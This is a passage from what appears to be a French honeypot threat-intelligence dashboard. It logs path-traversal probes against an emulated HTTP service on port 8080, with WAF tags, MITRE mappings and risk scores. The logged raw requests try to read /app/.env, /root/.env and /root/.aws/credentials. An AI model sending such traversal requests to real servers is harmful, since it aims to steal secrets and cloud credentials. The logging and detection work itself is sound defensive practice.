"http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"port": 8080,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/..\/..\/..\/..\/..\/..\/..\/app\/.env HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleW",
"attack_vector": "lfi path traversal \u00b7 via HTTP:8080 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/..\/..\/..\/..\/..\/..\/..\/app\/.env",
"target_port_label": "8080 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Motif catalogue confirm\u00e9 \u00b7 5 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%",
"classification_reason_label_fr": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 70\/100 (\u00c9lev\u00e9) \u2014 MITRE T1083 \u2014 confiance 100 % \u2014 via HTTP",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 70
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 70,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8080,
"protocol_emulated": true,
"tags_summary": [
"CRS-930100",
"INT-http_lfi",
"pat-0508",
"pat-0711"
],
"tags_summary_labels_fr": [
"CRS-930100",
"Http Lfi",
"pat-0508",
"pat-0711"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1083",
"mitre_technique": "T1083",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "GET",
"http_path": "\/..\/..\/..\/..\/..\/..\/..\/app\/.env",
"request_line": "GET \/..\/..\/..\/..\/..\/..\/..\/app\/.env HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"port": 8080,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "lfi path traversal \u00b7 via HTTP:8080 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/..\/..\/..\/..\/..\/..\/..\/app\/.env",
"evidence_snippet": "GET \/..\/..\/..\/..\/..\/..\/..\/app\/.env HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleW",
"target_port_label": "8080 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Motif catalogue confirm\u00e9 \u00b7 5 tag(s) WAF",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 5 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8080"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate",
"tags_list": [
"950260:lfi-0",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3",
"950514:leak-1",
"http_backup_file_scan",
"http_path_traversal",
"http_path_traversal_high",
"http_sensitive_path",
"net_web_probe"
],
"asn_dc_heuristic": true
}
19/06/2026 22:20:12 UTC
TCP
8080 · HTTP
Traversal LFI
lfi path traversal · via HTTP:8080 · (tentative d'exploit) · → /../../../../../../../root/.env
Élevée
Élevé · 70
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
T1083
TA0001
TA0002
Protocole
GET /../../../../../../../root/.env UA Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (K…
Émulateur
HTTP
WAF
35
Recommandation
Investiguer
Tags
950260:lfi-0
950326:rce-0
950468:nosqli-3
950470:nosqli-3
Cible HTTP
GET
/../../../../../../../root/.env
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8080
Chemin / cible
/../../../../../../../root/.env
Pourquoi cette classification : Sonde fichier sensible: traversal ../ · Règle WAF « lfi-0 » · Traversal / LFI dans le chemin · confiance 100%
Confiance classification
100%
Risque capteur
Élevé
· 70
Confiance : Confiance 100 % — Motif catalogue confirmé · 5 tag(s) WAF
Protocole émulé
1 Signaux
CRS-930100
Http Lfi
pat-0508
pat-0711
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
ET path traversal encoded
CRS 930100 path traversal
CRS 930110
LFI Path traversal encoded
Ligne de requête
GET /../../../../../../../root/.env HTTP/1.1
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Règles WAF
lfi-0
rce-0
nosqli-3
leak-1
Payload (extrait)
GET /../../../../../../../root/.env HTTP/1.1
Host: 62.3.50.33:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Apple
Requête brute (extrait)
GET /../../../../../../../root/.env HTTP/1.1 Host: 62.3.50.33:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 Connection: close
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a206e67696e782f312e32342e300d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 81,
"http_header_count": 3,
"http_query_params": 0,
"http_path_depth": 9,
"http_path_ext": "env",
"http_ua_hash": "44d3c8b849357a6a84abd560467256ebced73ec0",
"http_host_hash": "c9908f9a31aefa5902e21ee9fa132cbe056c536d",
"http_target_hash": "349f25dc9e3dc8344ccb5ea19cf48fefc099ff52",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 215,
"payload_entropy": 5.160458966867718,
"port_category": "registered",
"org": "Amazon.com, Inc.",
"service": "http",
"app_proto": "http",
"asn": 16509,
"country": "DE",
"dst_port": 8080,
"risk_waf": 100,
"risk_classification": 78,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 6.2,
"risk_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25
},
"risk_score": 70,
"tag_count": 10,
"anomaly_count": 0,
"campaign_key": "c218509b91e77116eb0d12f81c6384d0d5d43c26",
"event_fingerprint": "ef5c38474d50b0345e905efe964cf8d66ec82be1",
"classification_reason": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 467,
"precision_signals": [
"CRS-930100",
"INT-http_lfi",
"pat-0508",
"pat-0711",
"pat-0083",
"CRS-930100-sub"
],
"kb_rule_ids": [
"CRS-930100",
"INT-http_lfi",
"pat-0508",
"pat-0711",
"pat-0083",
"CRS-930100-sub",
"INT-upstream",
"INT-waf-score"
],
"matched_patterns": [
"pat-0508",
"pat-0711",
"pat-0083",
"pat-0081"
],
"matched_pattern_names": [
"ET path traversal encoded",
"CRS 930100 path traversal",
"CRS 930110",
"LFI Path traversal encoded"
],
"pattern_ids": [
"pat-0508",
"pat-0711",
"pat-0083",
"pat-0081"
],
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 70
},
"named_classification_skipped": false,
"classification_parent": "path_traversal",
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "DE",
"asn": 16509,
"org": "Amazon.com, Inc.",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "544610c250911ce605588efb3a938aed",
"payload_hash": "650481878d6ffa3ae9f16a9536f36c22",
"path_pattern_hash": "cc4b5bc55570f702c5d87b022cfdeda1"
},
"target_context": {
"dst_port": 8080,
"service": "http",
"service_name": "http",
"risk_score": 70
},
"method": "GET",
"path": "\/..\/..\/..\/..\/..\/..\/..\/root\/.env",
"user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"waf_tags": [
"950260:lfi-0",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3",
"950514:leak-1"
],
"waf_rule_names": [
"lfi-0",
"rce-0",
"nosqli-3",
"leak-1"
],
"request_line": "GET \/..\/..\/..\/..\/..\/..\/..\/root\/.env HTTP\/1.1",
"payload_snippet": "GET \/..\/..\/..\/..\/..\/..\/..\/root\/.env HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) Apple",
"evidence": {
"method": "GET",
"path": "\/..\/..\/..\/..\/..\/..\/..\/root\/.env",
"user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"waf_tags": [
"950260:lfi-0",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3",
"950514:leak-1"
],
"waf_rule_names": [
"lfi-0",
"rce-0",
"nosqli-3",
"leak-1"
],
"request_line": "GET \/..\/..\/..\/..\/..\/..\/..\/root\/.env HTTP\/1.1",
"request_sample": "GET \/..\/..\/..\/..\/..\/..\/..\/root\/.env HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36\r\nConnection: close\r\n\r\n",
"payload_snippet": "GET \/..\/..\/..\/..\/..\/..\/..\/root\/.env HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) Apple",
"classification_reason": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre_techniques": [
"T1083"
],
"mitre": "T1083",
"threat_family": [
"path_traversal"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "c46c16debab3345192871c4126211abbe6520d80",
"protocol_details": {
"http_method": "GET",
"http_path": "\/..\/..\/..\/..\/..\/..\/..\/root\/.env",
"request_line": "GET \/..\/..\/..\/..\/..\/..\/..\/root\/.env HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"port": 8080,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/..\/..\/..\/..\/..\/..\/..\/root\/.env HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) Apple",
"attack_vector": "lfi path traversal \u00b7 via HTTP:8080 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/..\/..\/..\/..\/..\/..\/..\/root\/.env",
"target_port_label": "8080 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Motif catalogue confirm\u00e9 \u00b7 5 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%",
"classification_reason_label_fr": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 70\/100 (\u00c9lev\u00e9) \u2014 MITRE T1083 \u2014 confiance 100 % \u2014 via HTTP",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 70
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 70,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8080,
"protocol_emulated": true,
"tags_summary": [
"CRS-930100",
"INT-http_lfi",
"pat-0508",
"pat-0711"
],
"tags_summary_labels_fr": [
"CRS-930100",
"Http Lfi",
"pat-0508",
"pat-0711"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1083",
"mitre_technique": "T1083",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "GET",
"http_path": "\/..\/..\/..\/..\/..\/..\/..\/root\/.env",
"request_line": "GET \/..\/..\/..\/..\/..\/..\/..\/root\/.env HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"port": 8080,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "lfi path traversal \u00b7 via HTTP:8080 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/..\/..\/..\/..\/..\/..\/..\/root\/.env",
"evidence_snippet": "GET \/..\/..\/..\/..\/..\/..\/..\/root\/.env HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) Apple",
"target_port_label": "8080 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Motif catalogue confirm\u00e9 \u00b7 5 tag(s) WAF",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 5 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8080"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate",
"tags_list": [
"950260:lfi-0",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3",
"950514:leak-1",
"http_backup_file_scan",
"http_path_traversal",
"http_path_traversal_high",
"http_sensitive_path",
"net_web_probe"
],
"asn_dc_heuristic": true
}
19/06/2026 22:20:12 UTC
TCP
8080 · HTTP
Traversal LFI
lfi path traversal · via HTTP:8080 · (tentative d'exploit) · → /../../../../../../../root/.aws/credentials
Élevée
Élevé · 70
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
T1083
TA0001
TA0002
Protocole
GET /../../../../../../../root/.aws/credentials UA Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (K…
Émulateur
HTTP
WAF
27
Recommandation
Investiguer
Tags
950260:lfi-0
950326:rce-0
950468:nosqli-3
950470:nosqli-3
Cible HTTP
GET
/../../../../../../../root/.aws/credentials
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8080
Chemin / cible
/../../../../../../../root/.aws/credentials
Pourquoi cette classification : Sonde fichier sensible: traversal ../ · Règle WAF « lfi-0 » · Traversal / LFI dans le chemin · confiance 100%
Confiance classification
100%
Risque capteur
Élevé
· 70
Confiance : Confiance 100 % — Motif catalogue confirmé · 4 tag(s) WAF
Protocole émulé
1 Signaux
CRS-930100
Http Lfi
pat-0508
pat-0711
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
Cred AWS credentials file
ET path traversal encoded
CRS 930100 path traversal
CRS 930110
LFI Path traversal encoded
Ligne de requête
GET /../../../../../../../root/.aws/credentials HTTP/1.1
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Règles WAF
lfi-0
rce-0
nosqli-3
Payload (extrait)
GET /../../../../../../../root/.aws/credentials HTTP/1.1
Host: 62.3.50.33:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64
Requête brute (extrait)
GET /../../../../../../../root/.aws/credentials HTTP/1.1 Host: 62.3.50.33:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 Connection: close
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a206e67696e782f312e32342e300d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 81,
"http_header_count": 3,
"http_query_params": 0,
"http_path_depth": 10,
"http_path_ext": "aws\/credentials",
"http_ua_hash": "44d3c8b849357a6a84abd560467256ebced73ec0",
"http_host_hash": "c9908f9a31aefa5902e21ee9fa132cbe056c536d",
"http_target_hash": "b720fa930f73d56a3c6bd22695bd7d27d9f56d4e",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 227,
"payload_entropy": 5.166347133894956,
"port_category": "registered",
"org": "Amazon.com, Inc.",
"service": "http",
"app_proto": "http",
"asn": 16509,
"country": "DE",
"dst_port": 8080,
"risk_waf": 100,
"risk_classification": 78,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 5.7,
"risk_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25
},
"risk_score": 70,
"tag_count": 7,
"anomaly_count": 0,
"campaign_key": "73bd4cce78224f86f1b427999a06bd4886268695",
"event_fingerprint": "0a7718ab8600f907100c6a6334d25c93647da6ed",
"classification_reason": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 467,
"precision_signals": [
"CRS-930100",
"INT-http_lfi",
"pat-0508",
"pat-0711",
"pat-0083",
"CRS-930100-sub"
],
"kb_rule_ids": [
"CRS-930100",
"INT-http_lfi",
"pat-0508",
"pat-0711",
"pat-0083",
"CRS-930100-sub",
"INT-upstream",
"INT-waf-score"
],
"matched_patterns": [
"pat-0468",
"pat-0508",
"pat-0711",
"pat-0083",
"pat-0081"
],
"matched_pattern_names": [
"Cred AWS credentials file",
"ET path traversal encoded",
"CRS 930100 path traversal",
"CRS 930110",
"LFI Path traversal encoded"
],
"pattern_ids": [
"pat-0468",
"pat-0508",
"pat-0711",
"pat-0083",
"pat-0081"
],
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 70
},
"named_classification_skipped": false,
"classification_parent": "path_traversal",
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "DE",
"asn": 16509,
"org": "Amazon.com, Inc.",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "544610c250911ce605588efb3a938aed",
"payload_hash": "2e5cd180911a9b4d6057ff1ff356b9c0",
"path_pattern_hash": "9afab74f93a494510e681a260ad97e0f"
},
"target_context": {
"dst_port": 8080,
"service": "http",
"service_name": "http",
"risk_score": 70
},
"method": "GET",
"path": "\/..\/..\/..\/..\/..\/..\/..\/root\/.aws\/credentials",
"user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"waf_tags": [
"950260:lfi-0",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"lfi-0",
"rce-0",
"nosqli-3"
],
"request_line": "GET \/..\/..\/..\/..\/..\/..\/..\/root\/.aws\/credentials HTTP\/1.1",
"payload_snippet": "GET \/..\/..\/..\/..\/..\/..\/..\/root\/.aws\/credentials HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64",
"evidence": {
"method": "GET",
"path": "\/..\/..\/..\/..\/..\/..\/..\/root\/.aws\/credentials",
"user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"waf_tags": [
"950260:lfi-0",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"lfi-0",
"rce-0",
"nosqli-3"
],
"request_line": "GET \/..\/..\/..\/..\/..\/..\/..\/root\/.aws\/credentials HTTP\/1.1",
"request_sample": "GET \/..\/..\/..\/..\/..\/..\/..\/root\/.aws\/credentials HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36\r\nConnection: close\r\n\r\n",
"payload_snippet": "GET \/..\/..\/..\/..\/..\/..\/..\/root\/.aws\/credentials HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64",
"classification_reason": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre_techniques": [
"T1083"
],
"mitre": "T1083",
"threat_family": [
"path_traversal"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "684d1cf554fcef1dfcdded593b19eea28c647e9f",
"protocol_details": {
"http_method": "GET",
"http_path": "\/..\/..\/..\/..\/..\/..\/..\/root\/.aws\/credentials",
"request_line": "GET \/..\/..\/..\/..\/..\/..\/..\/root\/.aws\/credentials HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"port": 8080,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/..\/..\/..\/..\/..\/..\/..\/root\/.aws\/credentials HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64",
"attack_vector": "lfi path traversal \u00b7 via HTTP:8080 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/..\/..\/..\/..\/..\/..\/..\/root\/.aws\/credentials",
"target_port_label": "8080 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Motif catalogue confirm\u00e9 \u00b7 4 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%",
"classification_reason_label_fr": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 70\/100 (\u00c9lev\u00e9) \u2014 MITRE T1083 \u2014 confiance 100 % \u2014 via HTTP",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 70
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 70,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8080,
"protocol_emulated": true,
"tags_summary": [
"CRS-930100",
"INT-http_lfi",
"pat-0508",
"pat-0711"
],
"tags_summary_labels_fr": [
"CRS-930100",
"Http Lfi",
"pat-0508",
"pat-0711"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1083",
"mitre_technique": "T1083",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "GET",
"http_path": "\/..\/..\/..\/..\/..\/..\/..\/root\/.aws\/credentials",
"request_line": "GET \/..\/..\/..\/..\/..\/..\/..\/root\/.aws\/credentials HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"port": 8080,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "lfi path traversal \u00b7 via HTTP:8080 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/..\/..\/..\/..\/..\/..\/..\/root\/.aws\/credentials",
"evidence_snippet": "GET \/..\/..\/..\/..\/..\/..\/..\/root\/.aws\/credentials HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64",
"target_port_label": "8080 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Motif catalogue confirm\u00e9 \u00b7 4 tag(s) WAF",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 4 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
